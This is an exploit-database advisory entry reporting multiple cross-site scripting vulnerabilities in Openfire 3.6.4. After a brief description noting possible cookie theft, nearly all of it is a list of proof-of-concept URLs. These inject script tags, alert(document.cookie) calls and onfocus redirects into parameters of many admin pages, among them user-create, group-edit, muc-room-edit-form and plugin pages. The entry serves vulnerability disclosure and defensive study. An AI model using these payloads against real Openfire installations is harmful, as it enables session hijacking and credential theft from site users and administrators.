Openfire 3.6.4 – Multiple Cross-Site Scripting Vulnerabilities

  • 作者: Walikar Riyaz Ahemed Dawalmalik
    日期: 2011-01-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35169/
  • source: https://www.securityfocus.com/bid/45682/info
    
    Openfire is prone to multiple cross-site-scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
    
    An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials; other attacks are also possible.
    
    Openfire 3.6.4 is vulnerable; other versions may also be affected. 
    
    http://www.example.com/login.jsp?url=&username=test" onfocus=javascript:window.location.assign('http://www.google.com');">
    
    http://www.example.com/login.jsp?url=hello" onfocus=javascript:window.location.assign('http://www.google.com');">
    
    http://www.example.com/security-audit-viewer.jsp?range=15&username="><script>alert('xss')</script>&search=Search
    
    http://www.example.com/user-create.jsp?username=test"><script>alert('xss')</script>
    
    http://www.example.com/user-create.jsp?name=test"><script>alert('xss')</script>
    
    http://www.example.com/user-create.jsp?email=test"><script>alert('xss')</script>
    
    http://www.example.com/plugins/search/advance-user-search.jsp?criteria=test"><script>alert('xss')</script>
    
    http://www.example.com/user-roster-add.jsp?username=test<script>alert('xss')</script>
    
    http://www.example.com/user-roster-add.jsp?username=user&jid=1&nickname=<script>alert('XSS')</script>&email=<script>alert('XSS')</script>&add=Add+Item
    
    http://www.example.com/user-roster.jsp?username=test<script>alert(document.cookie)</script>
    
    http://www.example.com/user-lockout.jsp?username=test<script>alert('xss')</script>
    
    http://www.example.com/group-create.jsp?name=test<script>alert('xss')</script>&description=<script>alert('xss')</script>&create=Create+Group
    
    http://www.example.com/group-edit.jsp?creategroupsuccess=true&group=test<script>alert('xss')</script>
    
    http://www.example.com/group-delete.jsp?group=<script>alert('xss')</script>
    
    
    http://www.example.com/muc-room-edit-form.jsp?save=true&create="><script>alert('XSS')</script>&roomconfig_persistentroom="><script>alert('XSS')</
    script>&roomName=23&mucName=conference&roomconfig_roomname=<script>alert(&#039;XSS&#039;)</script>&roomconfig_roomdesc=<script>alert(&#039;XSS&#039;)</script>&room_
    topic=<script>alert(&#039;XSS&#039;)</script>&roomconfig_maxusers="><script>alert(&#039;XSS&#039;)</script>&roomconfig_presencebroadcast=<script>alert(&#039;XSS&#039;)</scrip
    t>true&roomconfig_presencebroadcast2="><script>alert(&#039;XSS&#039;)</script>&roomcofig_presencebroadcast3=true"><script>alert(&#039;XSS&#039;)</script>&roomconfi
    g_roomsecret="><script>alert(&#039;XSS&#039;)</script>&roomconfig_roomsecret2="><script>alert(&#039;XSS&#039;)</script>&roomconfig_whois=moderator"><script>alert(&#039;X
    SS&#039;)</script>&roomconfig_publicroom=true"><script>alert(&#039;XSS&#039;)</script>&roomconfig_canchangenick=true"><script>alert(&#039;XSS&#039;)</script>&roomconfig_
    registration=true"><script>alert(&#039;XSS&#039;)</script>&Submit=Save+Changes
    
    http://www.example.com/muc-room-delete.jsp?roomJID="><script>alert('XSS')</script>&create=false
    
    http://www.example.com/plugins/clientcontrol/create-bookmark.jsp?urlName="><script>alert('XSS')</script>&url="><script>alert('XSS')</script>&user
    s="><script>alert(&#039;XSS&#039;)</script>&groups="><script>alert(&#039;XSS&#039;)</script>&rss=off&createURLBookmark=Create&type=url
    
    http://www.example.com/plugins/clientcontrol/spark-form.jsp?optionalMessage=</textarea><script>alert('XSS')</script>&submit=Update+Spark+Versions